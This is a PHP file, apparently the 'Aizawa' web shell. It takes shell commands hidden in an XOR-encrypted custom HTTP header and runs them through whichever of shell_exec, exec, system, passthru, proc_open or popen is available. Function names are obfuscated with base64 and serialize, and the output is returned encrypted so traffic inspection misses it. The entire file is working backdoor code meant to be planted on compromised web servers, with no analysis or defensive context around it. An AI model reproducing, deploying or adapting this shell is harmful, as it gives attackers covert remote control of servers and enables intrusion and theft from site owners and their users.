aizawa_classic.php

<?php
header("Aizawa-Type: http_aizawa_ninja_classic");

$ENCRYPTION_KEY = "AIZAWA!!!EMA";

function get_random_bytes($length) {
      if (function_exists('random_bytes')) {
          return random_bytes($length);
      }
      if (function_exists('openssl_random_pseudo_bytes')) {
          return openssl_random_pseudo_bytes($length);
      }
      $bytes = '';
      for ($i = 0; $i < $length; $i++) {
          $bytes .= chr(mt_rand(0, 255));
      }
      return $bytes;
}

function xor_encrypt($data, $key) {
      if ($data === '' || $data === null) {
          return '';
      }

      $iv = get_random_bytes(16);
      $data_len = strlen($data);
      $key_len = strlen($key);
      $offset = ord($iv[0]);

      $encrypted = '';
      for ($i = 0; $i < $data_len; $i++) {
          $k = ord($key[($i + $offset) % $key_len]);
          $encrypted .= chr(ord($data[$i]) ^ $k ^ ord($iv[$i % 16]));
      }

      return bin2hex($iv . $encrypted);
}

function xor_decrypt($encrypted_hex, $key) {
      if ($encrypted_hex === '' || $encrypted_hex === null || strlen($encrypted_hex) < 32) {
          return '';
      }

      $data = pack('H*', $encrypted_hex);
      $iv = substr($data, 0, 16);
      $encrypted = substr($data, 16);

      if ($encrypted === '' || $encrypted === false) {
          return '';
      }

      $offset = ord($iv[0]);
      $encrypted_len = strlen($encrypted);
      $key_len = strlen($key);

      $decrypted = '';
      for ($i = 0; $i < $encrypted_len; $i++) {
          $k = ord($key[($i + $offset) % $key_len]);
          $decrypted .= chr(ord($encrypted[$i]) ^ $k ^ ord($iv[$i % 16]));
      }

      return $decrypted;
}

function getFunctionalCmd(string $cmd): string {
    $funcs = ['shell_exec', 'exec', 'system', 'passthru', 'proc_open', 'popen'];
    $obfuscated = base64_encode(serialize($funcs));
    $deobfuscate = function ($x) {return unserialize(base64_decode($x));};

    foreach ($deobfuscate($obfuscated) as $func) {
        if (function_exists($func)) {
            return obfuscatedExecution($func, $cmd);
        }
    }

    return "No available function to execute command.";
}

function obfuscatedExecution(string $func, string $cmd): string {
    $encoded = base64_encode($cmd);
    $decoded = base64_decode($encoded);

    switch ($func) {
        case 'shell_exec':
        case 'exec':
            return call_user_func($func, $decoded);
        case 'system':
        case 'passthru':
            ob_start();
            call_user_func($func, $decoded);
            return ob_get_clean();
        case 'proc_open':
            return executeWithProc_open($decoded);
        case 'popen':
            return executeWithPopen($decoded);
        default:
            return "Unknown function: $func";
    }
}

function executeWithProc_open(string $cmd): string {
    $spec = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
    $proc = call_user_func('proc_open', $cmd, $spec, $pipes);
    if (is_resource($proc)) {
        fclose($pipes[0]);
        $out = stream_get_contents($pipes[1]);
        $err = stream_get_contents($pipes[2]);
        array_map('fclose', array_slice($pipes, 1));
        proc_close($proc);
        return $err ? "Error: $err" : $out;
    }
    return "Failed to execute command using proc_open.";
}

function executeWithPopen(string $cmd): string {
    $handle = call_user_func('popen', $cmd, 'r');
    if ($handle) {
        $output = stream_get_contents($handle);
        pclose($handle);
        return $output;
    }
    return "Failed to execute command using popen.";
}

$encrypted_cmd = $_SERVER["HTTP_AIZAWA_NINJA"];
$cmd = xor_decrypt($encrypted_cmd, $ENCRYPTION_KEY);
ob_start();
echo getFunctionalCmd($cmd);
$output = ob_get_clean();
echo xor_encrypt($output, $ENCRYPTION_KEY);